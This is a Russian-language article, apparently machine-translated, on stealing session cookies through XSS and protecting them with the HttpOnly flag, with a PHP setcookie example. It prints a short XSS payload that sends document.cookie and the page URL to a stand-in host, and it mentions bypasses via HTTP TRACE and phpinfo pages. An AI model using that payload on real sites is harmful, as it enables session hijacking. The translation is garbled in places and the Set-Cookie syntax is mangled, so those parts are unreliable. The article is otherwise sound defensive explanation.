С ростом популярности www-сервисов всё больше приложений переходят на B/S-структуры, чтобы доступ к разным веб-сервисам был доступен только с одним браузером, но это всё чаще приводит к проблемам с безопасностью веба. Сервис www опирается на протокол Http, Http — это протокол без состояния, поэтому для передачи информации между сессиями неизбежно использовать файлы cookie, сессии и другие технологии для обозначения состояния посетителя, и независимо от того, является ли это куки или сессией, обычно реализуется с помощью cookie (Сессия фактически отмечается токеном в cookie браузера, Сервер получает этот токен, проверяет легитимность и привязывает соответствующее состояние, хранящееся на сервере, с браузером), так что он неизбежно безопасно фокусируется на куки, и если этот файл будет получен, можно получить личность других, что замечательно для злоумышленников, особенно если полученное куки принадлежит высокопривилегированному лицу, например, администратору, вред становится ещё больше. Среди различных проблем веб-безопасности уязвимость XSS особенно опасна.
Для приложений, если появляется уязвимость XSS, это означает, что другие могут выполнять произвольные JS-скрипты в вашем браузере, и если приложение открыто или функции публичны, другие могут использовать Ajax для их использования, но процесс часто бывает громоздким, особенно если вы хотите напрямую получить чужую личность для случайного просмотра. Для неоткрытых приложений, таких как веб-фон некоторых крупных сайтов (важная особенность web2.0 — большое количество взаимодействий, пользователям часто приходится взаимодействовать с администраторами в фоновом режиме, например, отчёты об ошибках, доставка информации и т.д.), хотя могут возникать уязвимости кросс-сайтового скриптинга из-за наличия взаимодействия, но из-за непонимания фона невозможно создать идеальный ajax-код для использования, даже если можно использовать js для получения фонового кода и возврата его для анализа, но процесс также громоздкий и не скрыт. В настоящее время очень эффективно использовать уязвимость xss для получения файлов cookie или захвата сессий, конкретного анализа аутентификации приложения, а затем применения определённых методов и даже постоянного получения личности другой стороны, даже если та выходит из программы.
Так как же получить перехват файлов cookie или session? В объекте документа в браузере хранится информация о куки, и файл cookie можно получить с помощью js; если вы получите это куки, вы можете иметь чью-то чужую личность. Типичный оператор атаки XSS выглядит следующим образом:
- xss exp:
- url=document.top.locatio去掉n.href;
- cookie=document.cookie;
- c=new Image();
- c.src=’<a target="_blank">http://www.xxx.net/c.php?c=</a>’+cookie+’&u=’+url;
Некоторые приложения могут использовать методы привязки браузера для решения этой проблемы, например, привязывать файлы cookie к пользовательскому агенту браузера и считать cookie недействительным после его обнаружения. Этот метод оказался неэффективным, потому что когда злоумышленник крадёт печенье, он должен был получить и Пользовательского агента одновременно. Есть ещё один строгий принцип, который привязывает cookie к Remote-addr (на самом деле, он привязан к IP, но некоторые программы сталкиваются с проблемами с способом получения IP, что тоже приводит к экономии IP), но это приводит к очень плохому пользовательскому опыту, изменение IP — обычное дело, например, в работе и доме — это 2 IP, поэтому этот метод часто не применяется. Поэтому атаки на основе файлов cookie сейчас очень популярны, и на некоторых сайтах веб-2.0 легко получить статус администратора приложения.
Как мы можем сохранить наши чувствительные печенья в безопасности? В результате вышеуказанного анализа общие файлы cookie получаются из объектов документа, и нам просто нужно сделать чувствительные файлы cookie невидимыми в документе браузера. К счастью, теперь браузеры обычно принимают параметр HttpOnly при установке куки, как и другие параметры, такие как домен, после установки этого HttpOnly файл cookie не будет видно в объекте документа браузера, и браузер никак не пострадает при просмотре, так как файл cookie будет отправлен в заголовке браузера (включая ajax). Приложения обычно не работают с этими чувствительными файлами cookie в js, мы используем HttpOnly для некоторых чувствительных файлов cookie и не устанавливаем некоторые cookie, которые нужно использовать с помощью js в приложении, что обеспечивает безопасность информации о файлах cookie и обеспечивает работу приложения. Для получения дополнительной информации о HttpOnly см. http://msdn2.microsoft.com/en-us/library/ms533046.aspx.
Заголовок для настройки cookie в вашем браузере следующий:
- Set-Cookie: =[; =]
- [; expires=][; domain=]
- [; path=][; secure][; HttpOnly]
Возьмём php в качестве примера, поддержка HttpOnly была добавлена в функцию Setcookie в php 5.2, например:
setcookie ("abc","test", NULL,NULL,NULL,NULL,NULL,TRUE);
Вы можете установить файл cookie abc на HttpOnly, и документ не будет виден для этого куки. Поскольку функция setcookie по сути является заголовком, вы также можете использовать заголовок для установки HttpOnly. Затем используйте document.cookie, чтобы узнать, что это файл cookie больше недоступен. Мы используем этот метод для защиты Sessionid, например, некоторые файлы аутентификации для аутентификации, чтобы не беспокоиться о получении личности, что имеет большое значение для некоторых фоновых программ и веб-почты для повышения безопасности. Когда мы снова используем вышеуказанный метод атаки, мы видим, что больше не можем получать чувствительные файлы cookie, которые мы установили как HttpOnly.
Однако также видно, что HttpOnly не всемогущ, во-первых, он не может решить проблему xss, всё ещё не может противостоять атаке некоторых терпеливых хакеров, не может помешать злоумышленникам совершать ajax-публикации, и даже появились некоторые xss-прокси, но удалось повысить порог атак, по крайней мере xss-атаки не выполняются каждым скрет-кидком, а другие методы атак связаны с некоторыми экологическими и техническими ограничениями. Это не так распространено, как кража печенья.
HttpOnly также может эксплуатировать некоторые уязвимости или настраивать Bypass, но ключевая проблема в том, что если вы можете получить заголовок cookie, отправленный браузером. Например, предыдущая атака Http Trace может вернуть cookie в вашем заголовке, и эту атаку можно завершить, используя ajax или flash, которые также были исправлены в ajax и flash. Ещё один заметный пример возможного обхода конфигурации или приложения — phpinfo, как вы знаете, phpinfo отображает http-заголовок, отправленный браузером, включая защищённую нами аутентификация, и эта страница часто существует на разных сайтах, если использовать ajax для получения страницы phpinfo, убрать часть, соответствующую заголовку, чтобы получить cookie. Недостатки в некоторых приложениях также могут привести к утечке заголовков, которую можно атаковать так же, как и страницу, защищённую базовой верификацией.
HttpOnly лучше поддерживается в IE 6 и выше, широко используется в таких приложениях, как Hotmail, и достиг относительно хороших показателей безопасности.
|
Опубликовано 03.06.2015 20:57:48
|
|
|
